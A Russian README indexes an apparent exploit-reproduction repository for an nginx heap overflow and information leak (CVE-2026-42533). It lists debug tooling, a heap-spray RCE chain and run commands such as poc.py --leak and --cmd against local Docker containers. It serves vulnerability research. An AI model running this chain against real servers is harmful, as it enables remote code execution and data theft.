
Воспроизведение proof-of-concept переполнения кучи и утечки информации в nginx (CVE-2026-42533) с двумя поверхностями атаки, отладочным анализом и полной цепочкой RCE.
Переполнение кучи до аутентификации + утечка информации в движке скриптов сложных значений nginx (0.9.6–1.30.3 / mainline ≤1.31.2); CVSS 9.2. Один корень — две поверхности эксплуатации: HTTP (regex location + regex map) и stream (ssl_preread + SNI + regex map).
Глубокий технический анализ и исправления — в ANALYSIS.md.
.
├── ANALYSIS.md # Глубокий анализ (первопричина / двухпроходное выполнение / динамические доказательства / цепочка RCE + исправления)
├── README.md # Этот файл (индекс)
├── http/ # ① Воспроизведение чёрным ящиком варианта HTTP (поверхность classmethod)
│ ├── nginx.conf # Уязвимая конфигурация (regex location + regex map)
│ ├── docker-compose.yml # nginx:1.30.3 (уязв., :8081) против 1.30.4 (испр., :8082)
│ ├── test.sh # Тесты по трём направлениям: clobber / overflow / leak
│ └── repro.py # PoC, автоматически извлекает утёкшие указатели кучи/остаточные данные
├── debug/ # ② Debug-сборка варианта HTTP + динамический анализ через pwndbg/gdb
│ ├── Dockerfile(.buster) / docker-compose.yml(.buster) / nginx.debug.conf
│ ├── gdb.py # Трассировка двухпроходного выполнения + предупреждения о несоответствии LEN/VALUE (ядро)
│ ├── attach.sh / extract-symbols.sh / trace_one.sh
│ ├── recon/ # Скрипты разведки раскладки кучи (recon.py / recon2/4/5.py)
│ └── README.md # Подробнее в этом каталоге
└── stream-rift/ # ③ Полная цепочка RCE для варианта stream (воспроизведено: echo pwned)
├── Dockerfile / docker-compose.yml / nginx.conf / server.py / entrypoint.sh
├── poc.py # Полная цепочка (утечка→спрей→поддельный pool→system), техника из публичного раскрытия
└── README.md # Заявление об авторстве + инструкция по запуску
debug/src,debug/symbols*,debug/logs*создаются скриптомextract-symbols.sh(DWARF-бинарник + дерево исходников), добавлены в.gitignore, можно пересобрать.
cd http
docker compose up -d # 1.30.3 (уязв.) + 1.30.4 (испр.)
./test.sh # Сравнение по трём направлениям
python3 repro.py --vuln http://localhost:8081 --fixed http://localhost:8082 # Разбор утечки
cd debug
docker compose build && docker compose up -d # Debug-сборка (--with-debug + DWARF)
./extract-symbols.sh # Вытянуть бинарник+исходники на хост для gdb
./attach.sh # gdbserver подключается к worker (:2333)
gdb -x gdb.py # Загрузка pwndbg; после c — отправить запрос с хоста
Подробнее в debug/README.md.
echo pwned > /tmp/pwn)cd stream-rift
docker compose build && docker compose up -d # nginx 1.31.1 (jammy/glibc2.35)
python3 poc.py --host 127.0.0.1 --port 29443 --leak # Утечка heap/libc/system
python3 poc.py --host 127.0.0.1 --port 29443 --cmd 'echo pwned > /tmp/pwn'
docker compose exec nginx-rce cat /tmp/pwn # → pwned (владелец nobody = worker)
Технология из публичного раскрытия DepthFirstDisclosures/Nginx-Rift; подробнее в stream-rift/README.md.
| Воздействие | Вариант HTTP | Вариант stream |
|---|---|---|
| Утечка информации (heap/PIE + остаточные данные) | ✅ стабильно | ✅ стабильно |
| DoS (abort worker) | ✅ стабильно | ✅ стабильно |
| Произвольное выполнение кода | ❌ нет публичного PoC (самостоятельная инженерия) | ✅ воспроизведено (stream-rift/) |
Полная цепочка stream работает на современной glibc 2.35 (без смягчений): диспетчеризация cleanup происходит до free() в ngx_destroy_pool, system() успевает выполниться до abort. Надёжность «частичная» (heap-фен-шуй, попадание примерно с 1–2 попыток, требуются повторы); смещения привязаны к данной сборке.
Docker + Compose; локальный gdb (+ pwndbg, загружайте привычным способом); pip install requests (http/repro.py).